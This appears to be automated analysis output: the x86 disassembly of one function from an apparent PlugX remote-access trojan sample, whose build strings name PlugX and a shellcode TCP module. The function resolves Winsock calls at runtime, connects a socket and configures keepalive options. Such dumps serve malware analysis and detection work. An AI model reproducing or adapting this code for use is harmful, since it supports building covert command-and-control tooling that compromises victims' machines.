Function at 0x1001f580
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c
cmp dword [0x1002d3d8], 0
push ebx
push esi
push edi
mov ebx, ecx
mov dword [esp + 0xc], 0
jne 0x1001f5c3
push 0x1994
call fcn.1002422e
add esp, 4
test eax, eax
je 0x1001f5bc
mov dword [eax + 0x1990], 0
jmp 0x1001f5be
xor eax, eax
mov dword [0x1002d3d8], eax
lea eax, [esp + 0xc]
push eax
push dword [ebp + 8]
call fcn.1001dd70
test eax, eax
jne 0x1001f7f7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov eax, 2
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov word [esp + 0x28], ax
mov eax, dword [esp + 0xc]
mov dword [esp + 0x2c], eax
mov eax, dword [0x10030f80]
test eax, eax
jne 0x1001f621
mov eax, dword [0x10030f84]
test eax, eax
jne 0x1001f614
push str.ws2_32
call esi
mov dword [0x10030f84], eax
push str.htons
push eax
call edi
mov dword [0x10030f80], eax
push dword [ebp + 0xc]
call eax
mov word [esp + 0x2a], ax
mov eax, dword [ebx + 0x50]
mov dword [esp + 0xc], eax
mov eax, dword [0x100310e0]
test eax, eax
jne 0x1001f65d
mov eax, dword [0x10030f84]
test eax, eax
jne 0x1001f650
push str.ws2_32
call esi
mov dword [0x10030f84], eax
push str.connect
push eax
call edi
mov dword [0x100310e0], eax
push 0x10
lea ecx, [esp + 0x2c]
push ecx
push dword [esp + 0x14]
call eax
test eax, eax
je 0x1001f6a4
mov eax, dword [0x100310b8]
test eax, eax
jne 0x1001f699
mov eax, dword [0x10030f84]
test eax, eax
jne 0x1001f68c
push str.ws2_32
call esi
mov dword [0x10030f84], eax
push str.WSAGetLastError
push eax
call edi
mov dword [0x100310b8], eax
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ebx + 0x50]
mov dword [esp + 0xc], eax
mov eax, dword [0x100310c4]
mov dword [esp + 0x14], 1
test eax, eax
jne 0x1001f6de
mov eax, dword [0x10030f84]
test eax, eax
jne 0x1001f6d1
push str.ws2_32
call esi
mov dword [0x10030f84], eax
push str.setsockopt
push eax
call edi
mov dword [0x100310c4], eax
push 4
lea ecx, [esp + 0x18]
push ecx
push 8
push 0xffff
push dword [esp + 0x1c]
call eax
test eax, eax
je 0x1001f70a
push 0
mov edx, 0x55
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcp.cpp
call fcn.10024152
add esp, 4
mov eax, dword [ebx + 0x50]
mov dword [esp + 0xc], eax
mov eax, dword [0x100310dc]
mov dword [esp + 0x1c], 1
mov dword [esp + 0x20], 0xea60
mov dword [esp + 0x24], 0x1388
mov dword [esp + 0x18], 0
test eax, eax
jne 0x1001f75c
mov eax, dword [0x10030f84]
test eax, eax
jne 0x1001f74f
push str.ws2_32
call esi
mov dword [0x10030f84], eax
push 0x1002a614
push eax
call edi
mov dword [0x100310dc], eax
push 0
push 0
lea ecx, [esp + 0x20]
push ecx
push 0
push 0
push 0xc
lea ecx, [esp + 0x34]
push ecx
push 0x98000004
push dword [esp + 0x2c]
call eax
test eax, eax
je 0x1001f793
push 0
mov edx, 0x62
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcp.cpp
call fcn.10024152
add esp, 4
mov eax, dword [0x100310c4]
mov ebx, dword [ebx + 0x50]
mov dword [esp + 0x10], 0xa0001
test eax, eax
jne 0x1001f7c9
mov eax, dword [0x10030f84]
test eax, eax
jne 0x1001f7bc
push str.ws2_32
call esi
mov dword [0x10030f84], eax
push str.setsockopt
push eax
call edi
mov dword [0x100310c4], eax
push 4
lea ecx, [esp + 0x14]
push ecx
push 0x80
push 0xffff
push ebx
call eax
test eax, eax
je 0x1001f7f5
push 0
mov edx, 0x6c
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcp.cpp
call fcn.10024152
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8